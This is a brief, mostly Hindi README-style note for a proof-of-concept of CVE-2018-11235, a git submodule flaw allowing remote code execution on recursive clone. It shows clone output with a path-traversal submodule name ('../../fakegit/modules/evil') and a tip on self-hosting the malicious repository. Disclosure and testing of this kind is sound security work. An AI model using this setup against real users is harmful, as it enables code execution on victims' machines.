jongmartinez/cve-2018-11235-pocCVE-2018-11235 के लिए PoC शोषण, जो git clone --recurse-submodules पर RCE की अनुमति देता है
repository: http://REDACTED/2018-11235_PoC.git/
return:
Submodule 'aaa' (https://repo1) registered for path 'aaa'
Submodule '../../fakegit/modules/evil' (https://repo2) registered for path 'evil'
Submodule path 'aaa': checked out '9c48e0a785dec84cb252677a8a7d55feaeac056c'
Submodule path 'evil': checked out '9c48e0a785dec84cb252677a8a7d55feaeac056c'
चूंकि Github मुझे PoC अपलोड करने से रोकता है
आपको अपना स्वयं का रिपॉजिटरी होस्ट करना होगा, मैंने git init . --bare का उपयोग करके एक स्थानीय रिपॉजिटरी बनाकर ऐसा किया।